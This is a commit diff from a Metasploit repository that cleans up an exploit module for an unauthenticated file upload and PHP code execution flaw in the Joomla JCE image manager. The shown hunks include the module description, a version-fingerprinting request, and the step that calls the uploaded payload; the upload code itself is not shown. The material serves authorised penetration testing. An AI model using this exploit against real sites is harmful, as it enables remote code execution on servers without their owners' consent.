Skip to content

Commit 1d95abc

Browse files
author
jvazquez-r7
committed
cleanup for joomla_comjce_imgmanager
1 parent 9b3bbd5 commit 1d95abc

File tree

1 file changed

+28
-28
lines changed

1 file changed

+28
-28
lines changed

modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb

Lines changed: 28 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -15,32 +15,33 @@ class Metasploit3 < Msf::Exploit::Remote
1515

1616
def initialize(info = {})
1717
super(update_info(info,
18-
'Name' => 'Joomla Component JCE File Upload Code Execution',
18+
'Name' => 'Joomla Component JCE File Upload Remote Code Execution',
1919
'Description' => %q{
20-
This module exploits a vulnerability in the JCE component for Joomla!
21-
could allow a unauthenticated remote attacker to upload arbitrary files,
22-
caused by the fails to sufficiently sanitize user-supplied input.
23-
Sending a specially-crafted HTTP request, a remote attacker could exploit
24-
this vulnerability to upload a malicious PHP script, which could allow the
25-
attacker to execute arbitrary PHP code on the vulnerable system.
20+
This module exploits a vulnerability in the JCE component for Joomla!, which
21+
could allow an unauthenticated remote attacker to upload arbitrary files, caused by the
22+
fails to sufficiently sanitize user-supplied input. Sending specially-crafted HTTP
23+
request, a remote attacker could exploit this vulnerability to upload a malicious PHP
24+
script, which could allow the attacker to execute arbitrary PHP code on the vulnerable
25+
system. This module has been tested successfully on the JCE Editor 1.5.71 and Joomla
26+
1.5.26.
2627
},
27-
'Author' => [ 'Heyder Andrade <eu[at]heyderandrade.org>' ],
28+
'Author' =>
29+
[
30+
'Unknown', # From AmnPardaz Security Group # Vulnerability discovery and PoC
31+
'Heyder Andrade <eu[at]heyderandrade.org>' # Metasploit module
32+
],
2833
'License' => MSF_LICENSE,
2934
'References' =>
3035
[
3136
['BID', '49338'],
32-
['EDB', '17734'],
37+
['EDB', '17734']
3338
],
3439
'Payload' =>
3540
{
3641
'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
3742
'DisableNops' => true,
3843
'BadChars' => "#",
39-
'Keys' => ['php'],
40-
'Compat' =>
41-
{
42-
'ConnectionType' => 'find',
43-
},
44+
'Keys' => ['php']
4445
},
4546
'Platform' => 'php',
4647
'Arch' => ARCH_PHP,
@@ -60,21 +61,20 @@ def get_version
6061
# check imgmanager version
6162
@uri_base = normalize_uri(target_uri.path.to_s, 'index.php')
6263
@vars_get_base = {
63-
'option'=> 'com_jce',
64-
'task' => 'plugin',
65-
'plugin'=> 'imgmanager',
66-
'file' => 'imgmanager'
67-
}
64+
'option'=> 'com_jce',
65+
'task' => 'plugin',
66+
'plugin'=> 'imgmanager',
67+
'file' => 'imgmanager'
68+
}
6869
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
69-
res = send_request_cgi(
70-
{
71-
'uri' => @uri_base,
72-
'vars_get' => @vars_get_base,
73-
'method' => 'GET',
74-
'version' => '1.1'
75-
76-
})
70+
res = send_request_cgi({
71+
'uri' => @uri_base,
72+
'vars_get' => @vars_get_base,
73+
'method' => 'GET',
74+
'version' => '1.1'
75+
})
7776

77+
version = nil
7878
if (res and res.code == 200)
7979
res.body.match(%r{^\s+?<title>Image\sManager\s:\s?(.*)<})
8080
version = $1.nil? ? nil : $1
@@ -171,7 +171,6 @@ def call_payload
171171
payload = "#{@payload_name}.php"
172172
print_status("Calling payload: #{payload}")
173173
uri = normalize_uri(target_uri.path.to_s, "images", "stories", payload)
174-
register_files_for_cleanup(payload)
175174
res = send_request_cgi({
176175
'uri' => uri,
177176
'method' => 'GET',
@@ -186,6 +185,7 @@ def exploit
186185
return if not check == Exploit::CheckCode::Vulnerable
187186
if upload_gif == :success
188187
if renamed?
188+
register_files_for_cleanup("#{@payload_name}.php")
189189
call_payload
190190
end
191191
end

0 commit comments

Comments
 (0)